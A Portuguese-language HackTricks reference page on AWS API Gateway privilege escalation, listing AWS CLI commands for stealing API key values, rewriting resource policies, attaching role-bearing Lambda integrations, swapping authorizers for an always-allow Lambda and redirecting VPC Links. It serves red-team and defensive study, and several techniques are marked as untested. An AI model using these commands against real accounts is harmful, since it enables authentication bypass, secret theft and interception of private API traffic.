AWS - Apigateway Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Apigateway

Para mais informações, confira:

AWS - API Gateway Enum

apigateway:POST

Com essa permissão você pode gerar chaves de API das APIs configuradas (por região).

aws --region <region> apigateway create-api-key

Impacto Potencial: Você não consegue privesc com esta técnica, mas pode obter acesso a informações sensíveis.

apigateway:GET

Com essa permissão você pode obter as API keys geradas das APIs configuradas (por região).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impacto Potencial: Você não consegue privesc com esta técnica, mas pode obter acesso a informações sensíveis.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Com essas permissões é possível modificar a política de recursos de uma API para se dar acesso para chamá-la e abusar de eventuais acessos que o API gateway possa ter (como invocar uma lambda vulnerável).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impacto Potencial: Você, normalmente, não conseguirá privesc diretamente com essa técnica, mas pode obter acesso a informações sensíveis.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Necessita de testes

Um atacante com as permissões apigateway:PutIntegration, apigateway:CreateDeployment e iam:PassRole pode adicionar uma nova integração a uma API Gateway REST API existente usando uma função Lambda que tenha um IAM role associado. Em seguida, o atacante pode acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao IAM role.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acesso a recursos associados ao IAM role da função Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Requer testes

Um atacante com as permissões apigateway:UpdateAuthorizer e apigateway:CreateDeployment pode modificar um authorizer existente do API Gateway para contornar verificações de segurança (por exemplo, apontá-lo para uma Lambda que sempre retorna “allow”) ou para executar código arbitrário quando solicitações à API são feitas.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto potencial: Contornar verificações de segurança, acesso não autorizado a recursos de API.

HTTP APIs / apigatewayv2 variante

Para HTTP APIs (API Gateway v2), a operação equivalente é atualizar o authorizer via apigatewayv2:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Requer testes

Um atacante com a permissão apigateway:UpdateVpcLink pode modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego de API privado para recursos não autorizados ou maliciosos.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impacto Potencial: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API.

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks